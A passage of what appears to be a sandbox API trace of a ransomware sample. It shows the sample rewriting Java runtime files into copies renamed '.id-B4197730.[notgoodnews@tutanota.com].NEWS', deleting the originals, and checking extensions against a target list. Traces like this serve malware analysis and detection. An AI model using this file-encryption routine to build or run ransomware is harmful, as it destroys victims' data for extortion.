lpNumberOfBytesRead=0x25dfecc*=0x1f440, lpOverlapped=0x0) returned 1 [0091.012] WriteFile (in: hFile=0x2c4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x1f450, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x1f450, lpOverlapped=0x0) returned 1 [0091.014] ReadFile (in: hFile=0x37c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.014] WriteFile (in: hFile=0x2c4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xf0, lpOverlapped=0x0) returned 1 [0091.015] SetEndOfFile (hFile=0x2c4) returned 1 [0091.015] CloseHandle (hObject=0x2c4) returned 1 [0091.015] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.015] SetEndOfFile (hFile=0x37c) returned 1 [0091.016] CloseHandle (hObject=0x37c) returned 1 [0091.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0091.017] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll")) returned 1 [0091.017] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0091.017] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0091.017] lstrlenW (lpString=".doc") returned 4 [0091.017] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.017] lstrlenW (lpString=".docx") returned 5 [0091.017] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0091.017] lstrlenW (lpString=".pdf") returned 4 [0091.017] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.017] lstrlenW (lpString=".xls") returned 4 [0091.017] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.017] lstrlenW (lpString=".xlsx") returned 5 [0091.017] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0091.017] lstrlenW (lpString=".ppt") returned 4 [0091.017] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.017] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0091.017] lstrlenW (lpString=".zip") returned 4 [0091.017] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.017] lstrlenW (lpString=".rar") returned 4 [0091.017] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.017] lstrlenW (lpString=".bz2") returned 4 [0091.017] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.017] lstrlenW (lpString=".7z") returned 3 [0091.017] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.017] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0091.017] lstrlenW (lpString=".dbf") returned 4 [0091.017] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.017] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0091.017] lstrlenW (lpString=".1cd") returned 4 [0091.018] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.018] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0091.018] lstrlenW (lpString=".jpg") returned 4 [0091.018] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.018] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0091.018] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0091.018] lstrlenW (lpString=".doc") returned 4 [0091.018] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.018] lstrlenW (lpString=".docx") returned 5 [0091.018] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0091.018] lstrlenW (lpString=".pdf") returned 4 [0091.018] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.018] lstrlenW (lpString=".xls") returned 4 [0091.018] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.018] lstrlenW (lpString=".xlsx") returned 5 [0091.018] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0091.018] lstrlenW (lpString=".ppt") returned 4 [0091.018] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.018] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0091.018] lstrlenW (lpString=".zip") returned 4 [0091.018] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.018] lstrlenW (lpString=".rar") returned 4 [0091.018] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.018] lstrlenW (lpString=".bz2") returned 4 [0091.018] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.018] lstrlenW (lpString=".7z") returned 3 [0091.018] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.018] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0091.018] lstrlenW (lpString=".dbf") returned 4 [0091.018] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.018] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0091.018] lstrlenW (lpString=".1cd") returned 4 [0091.018] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.018] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0091.018] lstrlenW (lpString=".jpg") returned 4 [0091.018] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.019] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0091.019] lstrlenW (lpString="javaw.exe") returned 9 [0091.019] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0091.019] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=206912) returned 1 [0091.019] CloseHandle (hObject=0x37c) returned 1 [0091.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe")) returned 0x20 [0091.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.019] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0091.019] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.019] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.019] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0091.020] GetLastError () returned 0x0 [0091.020] ReadFile (in: hFile=0x37c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x32840, lpOverlapped=0x0) returned 1 [0091.024] WriteFile (in: hFile=0x2c4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x32850, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x32850, lpOverlapped=0x0) returned 1 [0091.387] ReadFile (in: hFile=0x37c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.387] WriteFile (in: hFile=0x2c4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xe6, lpOverlapped=0x0) returned 1 [0091.387] SetEndOfFile (hFile=0x2c4) returned 1 [0091.387] CloseHandle (hObject=0x2c4) returned 1 [0091.387] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.387] SetEndOfFile (hFile=0x37c) returned 1 [0091.389] CloseHandle (hObject=0x37c) returned 1 [0091.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0091.390] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe")) returned 1 [0091.390] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0091.390] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0091.390] lstrlenW (lpString=".doc") returned 4 [0091.390] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0091.390] lstrlenW (lpString=".docx") returned 5 [0091.390] lstrcmpiW (lpString1=".docx", lpString2="w.exe") returned -1 [0091.390] lstrlenW (lpString=".pdf") returned 4 [0091.390] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0091.390] lstrlenW (lpString=".xls") returned 4 [0091.390] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0091.390] lstrlenW (lpString=".xlsx") returned 5 [0091.390] lstrcmpiW (lpString1=".xlsx", lpString2="w.exe") returned -1 [0091.390] lstrlenW (lpString=".ppt") returned 4 [0091.390] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0091.390] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0091.390] lstrlenW (lpString=".zip") returned 4 [0091.390] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0091.390] lstrlenW (lpString=".rar") returned 4 [0091.390] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0091.390] lstrlenW (lpString=".bz2") returned 4 [0091.390] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0091.390] lstrlenW (lpString=".7z") returned 3 [0091.390] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0091.390] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0091.390] lstrlenW (lpString=".dbf") returned 4 [0091.391] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0091.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0091.391] lstrlenW (lpString=".1cd") returned 4 [0091.391] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0091.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0091.391] lstrlenW (lpString=".jpg") returned 4 [0091.391] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0091.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0091.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0091.391] lstrlenW (lpString=".doc") returned 4 [0091.391] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0091.391] lstrlenW (lpString=".docx") returned 5 [0091.391] lstrcmpiW (lpString1=".docx", lpString2="w.exe") returned -1 [0091.391] lstrlenW (lpString=".pdf") returned 4 [0091.391] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0091.391] lstrlenW (lpString=".xls") returned 4 [0091.391] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0091.391] lstrlenW (lpString=".xlsx") returned 5 [0091.391] lstrcmpiW (lpString1=".xlsx", lpString2="w.exe") returned -1 [0091.391] lstrlenW (lpString=".ppt") returned 4 [0091.391] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0091.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0091.391] lstrlenW (lpString=".zip") returned 4 [0091.391] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0091.391] lstrlenW (lpString=".rar") returned 4 [0091.391] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0091.391] lstrlenW (lpString=".bz2") returned 4 [0091.391] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0091.391] lstrlenW (lpString=".7z") returned 3 [0091.391] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0091.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0091.391] lstrlenW (lpString=".dbf") returned 4 [0091.391] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0091.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0091.391] lstrlenW (lpString=".1cd") returned 4 [0091.391] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0091.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48 [0091.392] lstrlenW (lpString=".jpg") returned 4 [0091.392] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0091.392] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0091.392] lstrlenW (lpString="jp2launcher.exe") returned 15 [0091.392] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0091.392] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=112192) returned 1 [0091.392] CloseHandle (hObject=0x37c) returned 1 [0091.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe")) returned 0x20 [0091.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.393] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0091.393] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.393] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.393] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0091.393] GetLastError () returned 0x0 [0091.393] ReadFile (in: hFile=0x37c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x1b640, lpOverlapped=0x0) returned 1 [0091.396] WriteFile (in: hFile=0x2c4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x1b650, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x1b650, lpOverlapped=0x0) returned 1 [0091.399] ReadFile (in: hFile=0x37c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.399] WriteFile (in: hFile=0x2c4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xf2, lpOverlapped=0x0) returned 1 [0091.399] SetEndOfFile (hFile=0x2c4) returned 1 [0091.399] CloseHandle (hObject=0x2c4) returned 1 [0091.399] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.399] SetEndOfFile (hFile=0x37c) returned 1 [0091.400] CloseHandle (hObject=0x37c) returned 1 [0091.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0091.402] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe")) returned 1 [0091.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0091.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0091.402] lstrlenW (lpString=".doc") returned 4 [0091.402] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0091.402] lstrlenW (lpString=".docx") returned 5 [0091.402] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0091.402] lstrlenW (lpString=".pdf") returned 4 [0091.402] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0091.402] lstrlenW (lpString=".xls") returned 4 [0091.402] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0091.402] lstrlenW (lpString=".xlsx") returned 5 [0091.402] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0091.402] lstrlenW (lpString=".ppt") returned 4 [0091.402] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0091.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0091.402] lstrlenW (lpString=".zip") returned 4 [0091.402] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0091.402] lstrlenW (lpString=".rar") returned 4 [0091.402] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0091.402] lstrlenW (lpString=".bz2") returned 4 [0091.402] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0091.402] lstrlenW (lpString=".7z") returned 3 [0091.402] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0091.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0091.403] lstrlenW (lpString=".dbf") returned 4 [0091.403] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0091.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0091.403] lstrlenW (lpString=".1cd") returned 4 [0091.403] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0091.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0091.403] lstrlenW (lpString=".jpg") returned 4 [0091.403] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0091.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0091.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0091.403] lstrlenW (lpString=".doc") returned 4 [0091.403] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0091.403] lstrlenW (lpString=".docx") returned 5 [0091.403] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0091.403] lstrlenW (lpString=".pdf") returned 4 [0091.403] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0091.403] lstrlenW (lpString=".xls") returned 4 [0091.403] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0091.403] lstrlenW (lpString=".xlsx") returned 5 [0091.403] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0091.403] lstrlenW (lpString=".ppt") returned 4 [0091.403] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0091.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0091.403] lstrlenW (lpString=".zip") returned 4 [0091.403] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0091.403] lstrlenW (lpString=".rar") returned 4 [0091.403] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0091.403] lstrlenW (lpString=".bz2") returned 4 [0091.403] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0091.403] lstrlenW (lpString=".7z") returned 3 [0091.403] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0091.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0091.403] lstrlenW (lpString=".dbf") returned 4 [0091.403] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0091.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0091.403] lstrlenW (lpString=".1cd") returned 4 [0091.403] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0091.404] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0091.404] lstrlenW (lpString=".jpg") returned 4 [0091.404] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0091.404] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0091.404] lstrlenW (lpString="jp2native.dll") returned 13 [0091.404] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0091.404] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=20032) returned 1 [0091.405] CloseHandle (hObject=0x37c) returned 1 [0091.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll")) returned 0x20 [0091.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.405] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0091.405] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.405] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.405] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0091.405] GetLastError () returned 0x0 [0091.405] ReadFile (in: hFile=0x37c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x4e40, lpOverlapped=0x0) returned 1 [0091.407] WriteFile (in: hFile=0x2c4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x4e50, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x4e50, lpOverlapped=0x0) returned 1 [0091.408] ReadFile (in: hFile=0x37c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.408] WriteFile (in: hFile=0x2c4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xee, lpOverlapped=0x0) returned 1 [0091.408] SetEndOfFile (hFile=0x2c4) returned 1 [0091.408] CloseHandle (hObject=0x2c4) returned 1 [0091.408] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.408] SetEndOfFile (hFile=0x37c) returned 1 [0091.409] CloseHandle (hObject=0x37c) returned 1 [0091.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0091.409] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" 